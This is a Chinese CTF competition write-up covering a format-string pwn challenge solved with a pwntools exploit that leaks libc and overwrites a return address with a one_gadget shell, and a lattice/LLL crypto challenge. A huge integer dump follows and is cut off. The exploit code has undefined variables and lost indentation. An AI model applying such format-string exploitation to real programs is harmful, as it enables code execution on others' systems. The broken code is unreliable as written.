这里写目录标题
- 检材下载:
- 1.理论题
- 2.数据安全:
- pb:
- Sepack:
- 3.数据分析:
- 数据分析(1)
- 数据分析1-1:
- 数据分析1-2:
- 数据分析1-3:
- 数据分析(3)
- 数据分析3-1:
- 数据分析3-2:
- 数据分析3-3:
- 数据分析(5)
- 数据分析5-2 :
前言:第一次参加数信杯,很荣信晋级线下,有点难度好多都要写脚本ovo。
检材下载:
关注鱼影安全 后台即可下载 永久有效
1.理论题
略
2.数据安全:
pb:
题目描述:利用程序漏洞获取info sec文件中数据,提交第6行第2列数据
开了NX
保护,一个bss
段上的fmt
的
给了6
次机会,循环的i
再栈上
思路:直接通过fmt
跳板修改循环i
(有符号形)为负数,造成无限循环,然后覆盖main
返回地址为
execve
,最后把i改为>5
退出循环用gdb
调试,栈上0x7
处一个很明显的2
级跳板可以利用
先利用fmt
泄露出libc
地址和栈地址然后一直利用跳板完成接下来的操作exp
如下:
from pwn import *
import time
FILENAME='../pwnpb'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('../libc-2.23.so')
p.sendlineafter(b'How',b'%6$p--%11$p\x00')
p.recvuntil(b'0x')
stack_add=int(p.recv(6*2),16)
p.recvuntil(b'0x')
libc_add=int(p.recv(6*2),16)
libcbase=libc_add-libc.sym['__libc_start_main']-240
success('stack_add '+hex(stack_add))
success('libcbase '+hex(libcbase))
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
execve=libcbase+one_gadget[0]
success('execve '+hex(execve))
p1=stack_add+0x18 # $13
p2=stack_add+0xe8 # $39
p3=stack_add+0x451
target=ret_target&0xff
src=execve
for i in range(3):
payload=b'%'+bytes(str(target),'utf-8')+b'c%13$hhn'+b'\x00'
p.sendlineafter(b'How',payload)
payload=b'%'+bytes(str(src&0xff),'utf-8')+b'c%39$hhn'+b'\x00'
p.sendlineafter(b'How',payload)
src=src>>8
target+=1
payload=b'%'+bytes(str(ADDnum_target&0xffff),'utf-8')+b'c%13$hn'+b'\x00'
p.sendlineafter(b'How',payload)
payload=b'%'+bytes(str(0x55),'utf-8')+b'c%39$hhn'+b'\x00'
p.sendlineafter(b'How',payload)
p.interactive()
FLAG:756492198429227351
Sepack:
题目描述:某公司某资深网络安全分析师最近在公司进行的一次常规加密协议审查中,意外发现了可疑的网络流量异常。这台机器通常用于处理公司和客户之间传输的敏感数据,而他发现该机器正在使用一个未经充分测试的密码系统,其安全性无法得到保证,容易被黑客利用造成数据泄露。请分析提供文件。
from Crypto.Util.number import *
p = 339502755125398827923214069904109547236745426971041014306275417301749268965145777920963448376667912991663528528721730585337779871215288090651888013263156590326370713899012813872484066331518406177202228028995406385383390375382936119124614205195387138530148542277647351296099308702946041092691423211085415103992
h = 1739518129108648232097996913897106318541121774926598493042678580357310066508580930063149740801888216751223085193126600699473752875147787505591404597355740523306360327138120921090998865057831770562219300185899501682920125055140516008257935650516848018477295727186207213469885315007686834350636916643313048211864082865200161747827618753162738531492911017721370677997385388643399363223614851577817134343157477189666207403218379255972556320163923770498758039600750256
c = 82273809247479538378899966691802899690018772380645181523076571721050947459185259020073689486925921120555677415836173678319894924052567960823135219390391856397275687792566059451807698916823297790555128947768120526354109086482549580900882199076227145140217009337211920009078279939433524169119381431335199341693
g = 12108340067423263195156928613197620591272853618557049812037729033666247775291551254286078219133154641793738375649719217310892389863148025606791351727887792
L = Matrix(ZZ, [[1, h],
[0, p]])
f, g = L.LLL()[0]
m = (f*c) % p % g * inverse_mod(f, g) % g
print(long_to_bytes(m))
解出b'the Answer to Life, the Universe and Everything plus three'
在道格拉斯·亚当斯的科幻系列小说《银河系漫游指南》中,"生命、宇宙以及任何事情的答案"是42
所以,将这个答案+3
结果是45
可以解出: n = 45
后面的加密流程 想到 HSSP
先用 LLL
找到符合的M
然后继续再用LLL
求得x
from Crypto.Util.number import long_to_bytes
p = 179556462235025512398895097357449712427503983526844715482156535794714709863999504212726407333105562901661667923276638998866137916673820151087229606311195716545197500709304515540400119914996485897453803548053980998659137274805373529622858461662396314771365073519245514458994978417898699437641517541739815451387
e =(162889408847173110992008856496849478894475511064451866226224870336967240909894204518470874014577260249534483021188508030880776668569105753177774045923663601355824506765060478687910665409575747753915194191709585147939021336746992783301441094825886354922164188687153767282371888651117034084734346669558822804814, 62989821962732661162219244911452559219829024095246815950107418719772868419766784369550123291397770751150044557025848223180509293504124278602700539706737428168499153003775767459982706010540285316653049778203473476219444839364273408652259513447443242662280113011401635262407003858300005450853457240482452147952, 33809015980586950093366846968860118496435549844251635921732251949471796955624004612925802894343691907231042811170723281249802277700187316895408615483524950931922433300670174374195684548289037237040503593475944859301422189885790331874926818014380613448404829157309914948170404493899406299880372041499911010581, 173204209512123474999169192673487865218893341637480525759750885474859809247306700509053046855653170440032356859047402540632948688733598110440727589167942964595035498716317117360014023272861656196944617731147391670278007295825545863863335109532456156876501172552775067928540887738171567266782528149052991366344, 44342542021708379414668396400164040288866863293853190678422955890367916527556829163441060795299946011151173746602176243885873908903917232418258624407022767184449949505825951229427442886609587647001805206184853621321745054132020996088231913974435074800623730924049496246187580028788709288920726388903302981951, 4392634990122371299769135555444698517661324862214335126228094534569978009900483928813825625358175017145025010760104861933889907414696340958584405646882650969802950316750828251444789234801391156107988358683173367768689979693274474526252755482603158250275336340954712143542061618282820721278964526691704059037, 162000176912377364854497246589608347561220396741879650597569656073048592508452966115250951541554339741493179848210868510492209083886488261249639517735307133589796676304202824606582526600249355551936399167710100941806542588765011886479376062337961923126657374150137437295886142919327595310575341689049720821665, 22077724025390518070053691471145958030587809991504076910470007324426404196625785163396866481348993840703834624256950859801314754541821819170617398702858989171898585926639352233884541922936622802984229043691076172236063936402804566046927986638773969501896038051495856058369738593673581629231627461675533604523, 14701059014773855164724760612475790181620545800444647603637503203950539280730748336391992277537809589754492951258296642102323514270118699940526640767062254985739206736566765705273984045512674985542932206467648306687093076960135586012836974377949227248482350620290192228628841904086569053960980069106647272759, 129329534408556490917661093908457883681840056456257957108550252322539820873243193229660819689986450590477003861801722033981307543608463363538935856093426507009942751223793314197169134681627590816927372907546886358167395227653266290944998447682036424203110440182693526488605010302346712257061329606646000293770, 158626659490334813369060340004557047352237903719934508643050010961404252033421642240081010345944842014132526405938366698104855435726127475285178676088880541949190517725989503397778739020726759945269701767243417322378332004262174895297616733592658499087056582017315900304589671038322204941999620202597458557501, 97813116237472214183223117266216462919665670894988541616197783636154514491328295107278823249559252647619348324215095695899460809410339002262216842834016821720058769701449786228286598253032982861011691323202558442970722513169511725677917302190777922442115040261958518443716687849930547173316499494037247609897, 62397143023368232285659182342334953345329567312384333333910386732801410742220489815884710926220021507148894758812530848621534053732072733238374868596282409071670575834035776118776158163325924290782673657442706304193703772803531311357376894436295578309791798282802442174004409245114246577696478593169296234158, 146909416094962847443784662518977746508771476564837332649073324873415107694979012925544282963027942240848763236949917564942688404028207275379580996844837839794532899689020887804658991143405020877948565547214775715375693835312184776633525071128523910256044111201691634709235714172749475520067332986328025148481, 75385972334735508286005078459014252147491304325496229196470031201182881040166931014174137496350406945911300668144147194163145641876071583201946999960309648451128154179167038061775887605644342455263722150766802550980351612980549545492288053159714498519381498396661048728570652081172272492447155212558338193628, 111135753957854603138480095490790733635127614274431571643170338617564631992179538777369718002946807812869504650098863509063242826157065189754871181613246952485169133106342223791857815616280597816368043074087722913332916345563949810001685922151218751118000640621262923412118468544439160303062218965162269328663, 25118648173045048606350891539768886750607915369576249566481453087107326075537563478075471992959697395771609273367133152001134963943222309293817785940407795579489327269644917069585775100105294719445528261901548677868502309154889983849947087671318231260139702691440201268302135254411157539365195755423969177445, 104232879660820253326138276573005976557086764937155973902530212626937292084218007753325744585561455828722741851241160491430345882733737633532078157677037499076798960174637845901676519291424334402967463544536837643395834927848165822204966743361461648867176963956609892495998771075311034927767318053654031860081, 2933566876881784416751271339261237150250704833048424805357018164881316236996852601445715492534882626482887296694092103689582374438982021639102353000005812212031628091198329948788959972836529194126171234105449150913241828105045113710668309554563675088496959570926090724165146329341852221939312659576420435045, 20281573542083375029818998648430017505403063685088389298417492636849011396222751186777093029735302283828755355303926497319563131740819439532825289377622414902157917873602958493185961143763474703975833043175872308479973621186245214552792136628672412081227901265868650881595429542972905602721746274293761240136, 27448110108444704929200262008016456026780263056453070211726296263298433340244096764237080094599729648895027936421794324729929940643012325061238783346437591290416261596077334033431939614216324593655984357753570354430008023618326550118861795634136097724075569862407871933829777176134889893136840287523147760101, 156996239297369262203476501366098509950372378226401476113806336224160723986128791389244044713034481908411450945720698027114219928479313267171004577075175505121774296227249114989345616590484357761845136595759057750791573800495429912452494508183977186175903385003787795148679556625282495605958295775631595833334, 72087239496368467464157757936506166920271103443024416193003635071136879977045003002786188967356073131727562500426502805360732807318719769085765847770850692295044495715656772419600538578719437605643696928001787082195598150467238725867137466555075002599721689744440595399672583722205944238913976488979898955059, 156390719769867186240842722039968076488558176193923153028478757839774490981687993295296911073143304405624328615874001251294917387457755151058080249448847366745639586216704424817985827765755547328073015919709942582622149598038560868940636655391114946946187364450309110100963637935956613716208953379258551812996, 172931821445731667623523219523932375474581836200721453122343413582466708631158844171402182629505019406230779875482064287203746504913860938043918792707375937859977978114108255281155901008357082747489700139759856533301730354191137988372462000940645058456462558716465412737563812876012957368416527438660209387571, 8290455856573882438079489135094424686341622771830891863800814744079158013319326523127609425007487754131639563141207607960961662053093254359861762638597712629926928907391179717817730142231005203003558055125468488048859076347317175104398631875041488647986706922382387759744182981261934977798350626397473913681, 57580794941869227348460284506960804607904898816069429476616121619580476955229754535837920212422285004142318527249385062147848133925248472672589880105977824470898591025133426617218319688128782956075409132060430211823320085477469596249222149591192918268827512976736910112188082477305545188171754166605389660115, 42245222677353964582442928227910067531886125044255037111006519893013407534891232091873187890315769213502592023688626052003458932330770245396365455656006759623473497572216566977924825924545441794717120131845266357877910439163309386034348680121775192114251264753776186044346861920982647413179717069720851331106, 75212408390162834153470857557602174538770800007059453002659272951648124808514452011269338012764129348570899010586137060903560969337918754319843593813025727013465215881722323445237008216995847210759154371158280996185231222900552736728276214981767479081052957129457859265048951933869902902436968609946029948788, 114211943001457235791168875191291069267152486854008401052538692190875646223717725217776026221695520204652317265557159433999989791206491525968033987183485513002846269577611787446177607877378100603427866809157698463919887091925870772221701536635528006948030925360573979232053598506768731857773555461629688310437, 30135233271879962012541860054463034409254211601720922542772709114711494206229382082329865050813672370014317913688405552149872152913733753337709762863151133951419580837153692075739137758558758660344398938902245295918178549288121717579179853576332218121414638164654417677324463444029183770457975411468544176393, 156249064658950721077436346560677760885401118063057091875975788198961460740552801500941733506470114585742767792362769321112288187960024260054016477903006534770695650241782772279287187335039717383018229273383041190820671987039878671051463602273879746346116517223339044740838674515090455052903559293256009444803, 95132567967479106758431445893312438643545265564421673755689976055223596564038154487962395878754192671511337274184433900172194596174389811321932991252871193469128871638404732587148052479693797659799888600885896191721412318608347828491061163517841500655333849014638827644235503599909259700519746666891534431953, 96567725438932496995409520303223358551035796403385401915935512147257185380967065708345541119495624956476686651072732065623636975037916620705137910144277934884514988532986234095435827550370089791229596999040374082010908454551246304466560164204337723011562345396556593694830398618641002164029002429169899096885, 25995959518697522895739909284021592221250946976793320634600654416946126440594682109392785390819479645617414392645253981063636604738486158338683591378647761560675009584961770380150293710967869982974701273756753236664712031094337429598697621582473485890470933098561535038304401470721275256093011481431287935882, 4599668470543360469305039192607607593345119755304220350075269602722676347042131848181224412345900178989842025403355579122270287668606517484298487107560850702256191459199401427813911064606583964015385248620926200448580617284054055435367327055164267511317920715863451475263420192444144263670419156835469439289, 96286321609893222412837716808452789132244551867724745188424153600408459932729615203721870855945991515826494787494775494098234908057029334900481558852873022649882494987186496789117638750777482090399575480116093592867493961835664744030752881606564129078072402908990550088416420999191828933772408756593906527478, 24318416908307757387126557205642843788110875622144217965524002609639065351633388682984947686156546584450187581904243019350579102894765453627820028577912613279309658268669098013794941429522882003991981277245380986570728380028202970434602273157457435081058460245211518552717459031021999359101101394687260772445, 129037544508169433394396588169040584288436072888272998945629420771338147633346233063377474181831379997978007269545305132198662225811701055384606039641877226417751922849030280814153528742606121866130662971525373224839977818267708950151204150625608501070807156214508916185156079219352043567310047025006235387823, 16708897490866366699792438782423413987359887149193137532563016719627055812276370736861923157486303226675139153769352100145249772154026118731544516786286788873148364908416035992460944866472866075695970648710743928167939820445925426772056768114011398706327727046032029926886055522027498370012291587537121461610, 40704851225664795794832542604654014702213227879788650226008531511644061094896597458780363829447003006213815582904401442092474967325075163147877081630214349027069042298489696502551130415068196005275330045348430857200005646621953544960582220792176940478102634340226339102640297713259704843773002194910046957968, 123362212195012130214288177944478764573802393695486152170345488753171451149391770182504607131469390575865072443204534088804810694928577735121577939366059025353459451418904633011325939887761546331464928291498570375517844299310312777973941012299657356685047444255371264967594767564442171719440673616573983178865, 102653033671876461351210645035066474541748587156569457604256844049408088111487039835572026281259308942357662460442011358703135433304674927029022315975452813405710473288122387480539250665904775955152930916276116748094552002708959578732738405892464775221002948991533113304838821650013811674967391966162974754459, 34729856095647672954620515585473315933737221939920573893520314362467117795438744750964013932527766493618311556527690941089797127866835286868198125292477234474855704185487160361932321916483685160805469627038540270104561281708857194379661361356736250734890535972908335814318051210781645910940578754839458568174, 93039238842092919779297919846990670137064694703456637959554700039937712254924134031038512792914901708062313581581836173177999224850029976784845358181420192835480778807283632819755197850255893929149825280929350701774829283670430733289142347045450445531252290950595511911044518679714098391397682000970580325880, 121196749841818919535859171187522969931656980947964451878181692666887298892158196289437319805355582882591066052512839509369705489748386730876190810984586630316356145345851711372032786809813517966482727142240837603336464495790608821558390975784822451639890979191503829573934885116063030515928261888967820513101, 22580619481609989455521911537854712186794663389010999353575620199234348475823348680422579547829485270420323052877661044234191243649899305717558531734441726554509302296373942260238682122299678856935574783271680310630969792331768958915235849561879601434744757028112698153465627475275575280093025106818279595515, 66659682406551265182942245102944021622709706395727217175347340959176991207520706589113122648775304080079929925121032733686376658649133493784283636706298651309917642441356050737308805963398418863410260682272923078458119767048037825464085915653381859139300050889665105021723937076221496954154479410558296847123, 26221801164631288971978525917670331132757295212284763715840941903513854759164222213919304951790628162077505821592735857320888205590010238210620122910714249290041587374363427492439651427929592072237462260148598125324950389865214885919873044862534540994068462772197369828574532794026628521716515944389710472359, 96835738502398230321255062647955125369118454663716011271059246956368046384966280599691642781106714710975187224458331435565872879573824822537489972225310399856768846217668383021893631843857725054271900383524698826089845630363298753603685790868162705818603238438767748432719281652271345991508365452279382276662, 27327833512343102424184697005602648861087361002853054938840545877236212694743036641536808271951133513005878294042083999863190830851391813227155540304467425918950597625497097935307660199904053408219121244632513438831481307570605408867722695867135639184917145933907886748371488478507359287802047724583096328806, 68660246383726473727716341287287151860701032808127003565590114151811919626652113497652226980186309056154834873946210052149119800504614444621067760487295121381700109596506270050310066798179082106842048320326406172400497415396610210947747760138647615396851666565607257966002436258286146008653306600836735859507, 57415920933526374522107368079086225809423585744946054737154049774112415276049989913669557388265540555255427680350922063864450281709985220807060331785586165191561364162149897024148838617121091499811272878669547106966971267737283362715839725573816108062027711836779529579862949379864556107962089180194187686700, 34846149306036372595219988012833555399065930740006495764674442202123158627126427112499024157633284102418958851887158461408980387513019244647685376062265301471468192306000465184146758662309331602675306849551428671483634139334355164248700599728467532875235195924945237135745328564447826887827579728706819033947, 65256801458157643313077856603263412407727122682281471449647789271335732940792387202440758014599632946392357898792625410401912742754913873977796947623329968646757086568107689775505258313530730425403590382860427935488983242538415454048071885879673909724699366021584516179766441234494586630324215783070452217127, 138941086024418781266642743391985953053075394330494860079090088308704756835064785065657581000978928709047460579969779192847576610259960276937512483405989153879664773074790558899943735011846049815147804142135287058451058783048191739964612538626900959391681709268446233383154751852774032638418720565087464914955, 71479110640704909021931085128198118944570974815111899939348502408238774224790263667743011288018647548512512463218703636259999641421078487647731587511489882161163557137612362997730076396799327181433871829800299566396748402275678404684407121232671671219564075001910949262353031508910752234749758032828088499575, 172651611299747295918452261338308706769964606828203394540095693879896208892495573289124106821308863570955949943987315570044959515074184949902335573981934141636602186054676287798795101252904097278235956187574734169537825224417679966051277122703991545878655124402040785792066176712702001943558026355573977369234, 22653243107955194088102009293446726430547491897432124249328039127568467972905932248913611026172216119282667423257787486240924081800707295438326759155187833137795359546146275843241756993813237189621653382577403354237727057491189871834059572305934970137554075291884127907587318854326220462837851159642505264661, 146020780926591304301531329968746930612233150642739726206637150711281160860588105460750016200963803710646436741488072148500042029936745285189256817857449876099630698622362850424582345793101671199028482796799588667774107318903275677205769433723493834257188762327763295393757782854508946096137356663606760109907, 25121838378195178705516356581919318585093900798468020610122979804300070026229012883347936109190161076180611140894595797530973218819402573958358986784586078940830015706775824259875596575318182203550412877754554050396486479087945357713361683755904607098105514093267694409637753186613673803909966958575202119058, 10625061349846214202847421693416161279541953841354831140506130808652958268833327724261512102064874617142868236262434817396442971740370474716012222167522608690394936808288354254064629361355566389601029286030792255546632411488582037285449312888164880998952490581705947184507055480923629946452137555297876318338, 43643415367903541626818838607826678898079655028182392004771175496552842430469799201962623582641662168970251062334004141043550754533547543384642633798225260369319646196516588445630811765612891876540304461002342112727457796984093612625299080020398022848458594824976710116604071754899854652431158865140033330282, 18555038054318632963447739907597215775827809837349670964391013409550490283782501882520329942540117278161290757440814526636870811273771051599042482554640428089567586198966834003738226559776811367804555739047982740089783297639304346271564390744301774671619352499599379378310243933950003189272428854931342593310, 21568531835045655355998499394605355287570595150233308935056499285130514271970855209598387095303437675608523032133927881091376574459819336869294610493523954127340453050618929719426668301002843786914592386340986532234535717949003874310544003231497406632997878554925675691018053416692909645671163052653964863229, 169748343709707045495690904612095211832423580724693228429482989768714473986814547581256043350303932278830757738315540611997223627147389595183760159852823197170073444970300264544387615385158259856504508676168009233165269726183323716262346771782513216565376156514048012992773028717237790094074231888045209362069, 15625137641591462854289786421177153755218317368697975576391978094193231658329156081689694473422547019214573190152492700257712495918376152300115517954747674607563616763771506469018204388171823168258195610955417670840925263896029677178530092627006214810034725446918586782173170547183689280627967454577138934096, 123750944264825792079232193204012008689726437600382540232093771597130283779198810746245784337568178762807736058444987497877502182246537907470684513085509350761734376064380045840504122392285591566116530812314175699894960702034212846653582147203754488523149979429896587880522485105950607532944443977380333497348, 141791995577143377869879501426750347701772607007252844741738638891327298312825938151306749438797625894627231766663312132317021997109504924029544923880376487255565581773816005914985425138881450292929640085996666763544879393422199611100128032799984270554540750733308812090671187460705367404647740900482569499732, 76490801509217405751037539785877578115923033514060693066081031790959212119086130926350940251985900927773790324241311677066657533108417289620678569476051188544026961336258811492625109271044260340521575224377738699253438115213888584376615322575090024855867942268025095644970497105443630472250186772867005065838, 18004943525960367231775227645281364799105876727400623240085787429957834202289956011092029719542311175072950896326407855991727924828900688981184293544615302359306293241177109760602163494230359998584973150863832125887124530379417352709344613078517536186967463119479811227906528258338492366833320851296933867766, 20556267512865635886468607194163974707159093098067246018195833350893608538832335821302199609474461868753959649823905479173303808378891253844439197417611486848149490900091194002044404740244307650285963057762664304974433300846368994626127357009754952942804666036848000589401109282141117548035950758766072796615, 133993556812295969862965526170731359010940742600710716370540764558004734134484663644815895873688611963864750887411988246520625983069008745630812438423310278051427885680460998837203976460668599955515488192174439983393568748541636093138314527690838367834090702568764733938653671662400192945709372284919063880550, 79694472506696971811679500634717620875062418627870037055965829154711101438552206614903683601310864342968697784555891779289715889665614915660972698754323587276817389789377555908982261280048127366241346961604919884191032221208671098153521941524092583237277835647384762332389891827262510179102347209063858515463, 147721144395603137060482808107938780013012571157719083507573727640911934784270523264874688720404556027259448237514107936477963400073420552276360621812880727229332335309226469962637992605571389144167144587191946559318994653649983629453039952659732905650181045947101201327831016223956101359386835079033524749764, 178200839694545726438070309798703559686643577045177999565026796800669881436496894997411594126993881216068911496146889972081766147999479253688363756611633205338631371009395666575100243264467527036497523759178553710129304266967371963517754790602545656972055218207629034569169706305008799026082117371453080806541, 160595953618219921531218471162183431008722061883781241445918940368827182381114926831700403417528188526393188251001324821884830682946016691374786882352754194257865274888456246062045805889475796002678603608542053579127311299084680543755270146725045483304979550119686928918705839760501829917387036766656468559976, 31708610547541084651827329768167617336800569644671431307740561570432950476344765164973676065868584746263179889073917264558380749156587080636153488739705197481035636895956849500040729394726455567136061373187880468777688737448553184037869786728995983069794014348162147346388899859524932608964518318008676127393, 77091951656889507995249549394712980082787715610128624112886704894548779199913898386249451058995339166637471899994958287283652162264260411627164375467531665419942946282790386345463410611648697860296884375001613220329149706394301101583123004594219462805665523223941434999812360170351926648440355751610064388320, 4579836721274914918845248357526259878482079480194702185374683887899383983188803480692953196566891850035868427806968881794045811611390013744900337623441901233867404636640538156684746976717215527784846174258991263100594696133140434537047864652839228050476224773014000256872683048129546662252207120273691321902, 134107940296559126071759048328821104853726686295583693262423910407996829463536338282835126965926337395791324213497949459066204772482415344402089685365714812216062108601732992061210774954626001416668677577337359438039950343850679984407411086130237325799686958078441349400990953047449961413838485585247011423202, 159485224275610917422009536148360646986037666520209253663348052882671815823808407362195794218862002716207970094760148836105011096223789969267701105480845908590598579712509071222308397832623790240660347776973229608313246956974070947713011458542765839273069421256132361766840524612742645048877841205072979106066, 129444278116068541221120252515301080735071050062540796077211315347547981937684655438329738055135874367317414898395606161938451261887905071626324833844377753763353704001630130326959385420335825004865115468239252979338900305393502257444332579534643903350237918974961351511086502392539402026018325860055719660623, 73259227319084018317307975562055862952007384149144843345997302633309784101782859547421628011859909371552153161696254651682351861006099421378830426092938277394494154828234436491958723176249110641930045175515996367035544585390097764647616139994384246761770354947582741061984929531938419966287035865404046595163, 140933518162608799860659359452683368113542237728454041584472872586189081289876299996128705517024005509168985195507047908760138612048850483694032215031273452681399900334080350718300353496889662118593304377556151682160134400472602688228877423531935777614267037939237540145739880758116262666407211500696581372416, 46666802879159261934459253601139500736976312992821606027136580954875794030378615565756549910626302535204663443849932123775037769792267501184440571776544397017750680053904769704503257583518695644686486129852504620081669290859539547538690809047031577297091651500834478847457509777368970813223794014238996810694, 148263709934789136945668041555033167746242495321211353557601770173958270220484305996786142726360831598940986960626864946929882160850941340512991494531611745134836139786750179088858972434463285956596183143154166411681915008981998618184473285046055753610988038701191264224213427443270625197783480169188522218740, 10772862279192898721859289095630986020823638613998168414534938311910068234741248855538938869828920431886037663999149539396677204693316320781706494437210630851727416114875304491881387906610477056399211923151612963675152519587103356164246723548289421576008026880652532762324993158168080320168441796681866586847, 57956815131164736589653580817436822278567014541936737558355681310477428420059246345330451999733791453133425513693514151366933345042478069871709435720559608519948804865906686152679230130913285300506412749366885221432566948770323276759245010308258907544383628596472956632547150541798901437791507912657065730070, 106143177388058628772272454107283061697177713767442538681204946326737211260915869290838611291065909230195209561947754322130514690277764164234164424974489968564232687765453189967431094293408421830387391231572773963210197343335527295253713437544985622237723127485046871221827232055713528320553240253759247179327, 75309536849802258629293918300203040242540198857930815633474558529449630748980395959835609787543016174156192149753528575325559697364341502931886792221064887676441691324418554393836425579025398216255302815729043402078122096384992550730682615180285674683225153917980726229635990791300887119947224588882663502227, 169416552451005047239629833861719971084713050282475443624131044114572034221082044431779106593980367074975656497852807834624683750323209409341278721323394119804526735988081295476792068592255801772911624553576484845423329461640587863406846209698528733844857344010312682557851795222678261826058519689496789819568, 171314898985537056990379659316846621230533967592936964608304445010401941288159801868398898054020652994210245372941166801386359183647162225633822876314516552354069609654495639910884154870320203353638506640717068161781995462451653408909258137076556803776241952658397721692390963077736872001135420994304466807878, 112345266472802288125673938250512663946047370596080414836646504750264343133910209404700162525994432506830218484863339883504336978128224620210261121781986361283178525885283529345086678970853913153351570731327872082417665302614455767482787400896179655067437776540816092044367987526634474819003715190557263451055, 173309943268714772164175457040585210570876741309791973358928314348094112657081586380751693626730692288449839658563467475118612166398065672714380298160408441361545564891184391967813001340441049138376448107274821463338904839393211565407566144741141140782829547535252014522804364849463711282745568215260289182348, 168676831812522103410453302896546315667163192826673968596385218531948744220418429277940444324560962376453969125016785629222071028579915846222750667272674134608972113321634507108426744005302234729134839641510936458654169385932580172339350207672459258120022807689990751422158123929890757804131190276767773254045, 164254322219122230766367324545735021814701119609505834660568882210884220946853257541332529473430316144276377931233353855357030739187642062914604843882383663232780487863520321435331243056444473762364863201563473250314228276674816602349567374827255720542495878479860635878936913944431375810896522964060445843910, 13094415637931556875619955367909055510176250155306135462492962243141648674709644577850100528965123821151570708975828386934921794683770746241568004082675176905947731191312920703624523974672379385468071113878182110762362991890387171292230386416233304276541096537491745000416455311672458865077727847005116533402, 34375493443175448707606488464831216500661938753979156787531542121638830065486746651786513582442080020409369643351953839521956805602149291577652014308373888902371782339549514828481082612481630886999044143042974654190489426252262167674889433249887961345721470557404250823793534551487297069759032033058147551745, 80291066948970061809617340161235787982402712456625449128922382690589936755152126542880376726660887413835577659180619485698726491614686069726710255451320817735198134351595287270447418761510355648839383459181883571652772946809784046658152962892289024708732146721970454179064851313553882890036612678428370652097, 122553276488860134320481283996038953084833639287326067839334305883790481338644465481650587972679803013738739403886920627851687537928994063376474066342285063376612429464965824178577822486084529777331166213697651570812058006407643788788146687698773101952376049431054850841117796657466921741875361345126703016144, 111733766745189862015446548703220706351331839056295441441529373516199126391595393193150385673781397514953091403256748804383908479298484501607431810642137703569292056272119653510292968294394636619572043051752442860090224485703962425219566777376106502094766286798041590614803230674252305552895263047067100799879, 31512183523916785237846561565732788191419039350642943700483803090886066171004284248091952204152591950877055260481089144790879292064793298304947546697910906184876038785331904717002299609408374153642087216538581626519665405477471807669048872357208720295172432502492024852849875884582560005845874345899370622416, 93646408339887356826449098365295327989179834768126151704871139919881284738032006053592421921704815337912292523225443538103352548768064733192577365892673685567000263274840108641557473762293696563204546398455323164099867624361713995312380419463213918201600542155199903118441796303816482039557104028628040084475, 124288921681660897327432825060586335867299893751624595248694238583423343050236355363668874853783749292795749266801420374966191020695124355230714028079549091694309353816134642159264137696984633089788977429790219331804104091350550669826519401402975245804879265540096767366850820094665943856141886627435376676978, 82255103038329637539845902634629138337840018234456986136096899407708137275966869325459710900066233797193158420853166031822894301576697140471752291058207201821435971884160738221185241970119257804348301353969209522911229330293027294341885861100091712062023060214607426910572619494170382881248539964569758912137, 19382494808944498761534555250479171233352834421619684385209572943260469595170633960584436066791232282879603583966288960103375427477767464753975520157496872670710437333796021469930636415301211491760635137272512986014687950893465895006498849897022065982867649304408086037247335265353081570484760679760415163859, 130258798388614242104227632161368164436136349636033527019326857851843099104502447338498563115358060448928826106907355071706877309517865854714196965185715157109917811787069505172490789526628540208427919087379712616105472484609997258181272278655463853755995079942433916876891906787676386133302651704079163294496, 111414896757353423268926686926369137908850812634994671126652214698392303955843158165345412250955205287138705782253846802222084735467004568526368399043197030467085340316046171771054667831260869518280330035593946565206498351234808004463447925508731235844127786695056786454672406360280489877581941717886054358416, 173995253694064147240898011244330138185401849047178939968245485558938378466259667526012480726322159576602958903032560266829797187859811523839145231409428514657583194618471436550642008097953837878625149236106685447823806644342274837510204667700021593124418163683579923867577902683906713184433987880068768938575, 421530153456791770567188147834536908552430146743370837231541619832365569915909777273937044977121337588728063279915757290298254009246931914507239141105212795040674254434076242471114941608890252978323394947617478595474083064281418098265351578690181136142184161372431675609797254691686232299695548868279932586, 41400942138699540207128851439275816535780332443920627337070424749261765137277378522912108728739650984328258390159931342525096163396426799003854098644949320401606137287581634945990831975384403244247166582664921424519664068874535490710667051070990830960063419665513277526264301240848391845395949114993242511904, 87668827262577592740266652600137214861996558890596542633789588119797924548754169165361424958642105332169189656774536631691530565383777929563029118365613526520354947147772532504388811655997569499129261187749806243333657299594767749190959667117111744136311728991592974020774140616693597889004014571938463677915, 74029809505601398206049715777265719848057410707419106666233152110877502060017057012220357424954795067581131862919266936703732867154923533803695688165226448801915968575283925898324913320171662276882647952999126839775443465459874975526877961426318408371644910750094067672758576356731179425464364013199436230872, 68324152468377219988499659193865801400360249474477663207829843669363584826609098440961117966363064652102958718277360691518010402886970783516089601885777689348458559748341780763151995977840732947809583923531277968073243267357566955113105288507018426420056430496396509368955518168081573483778372352458889104060, 160579392031072983488245152459537265475487682203673271702647312466026966821135024859170330289603328923420104479369947154413149014963902234617529030239482092165049840936639258636914886771971611538690673270755106773176810310061688237339678308551411334258873164627173258536196065351758633926761507879545491092440, 17225341322900476872539484864340662692172419063939601502899932928194208262508138820010673893076551300088152013122954136852270303644210096087348338165290426346848486938286083420046024075265098766747135543106204617056855044522887283767248246596816026699959672013670622607060204173193869430605579698404772640602, 120246667894755240188443350449336716932833228681735014798968387632565994838842404676867331243580417656999546235033225788338753295006396299876113393788132789052199053940560803134714353569359059682080762813727400356366396538808107896537970261645824209886836685290470494717561112667861163522235048565787200693009, 163983510149623955064598202975509783426911778282770577308679111987135941434816788933607698347428650887593295509086587311987484402856342748046439233477898855030439257869856745479341147800661797917643918868906344530287171096730510667681069989646873487205380300983362899843357431890253358281471793157557448643010, 145815855993069081955435829458409182333079087197906074407551570528718147661181539698273803752524068100252490542138827832226500198732390714464763358417842543363367776851873484584795374620560988886934961454886138818632145201320678906008200800152711208229841931805491917633237515696375981880225795951022830175462, 108039003232255741031381092861538230579249209707362295404868843642540929313275594248106167937365137822747459717448644190911521013985908379455501064512674129912298566620424966122514308108758785812399695460092253185369831721052297351713028455758803553406120052710683598453322194649821630884931351936589188772961, 40805441391922776965039518378587790307574547048279498937399637155848875447608985213670612698612385942149401661010308702829154815732367314953687373840693693621133993244498684229573580104629992958973090065227353145822695065990115387605493940825674820966106559563641558135010668998009810257703201092001471670662, 8984058855606931521786245212371203227285592459379442535434754101743228549855183282333482410520240821430504232531235270575844237489415019562977932242730755886215694751255133970051226630105739716308944297378832850983251146639753861802296728167622548525415239727927491238859330105513440075383936602946865070526, 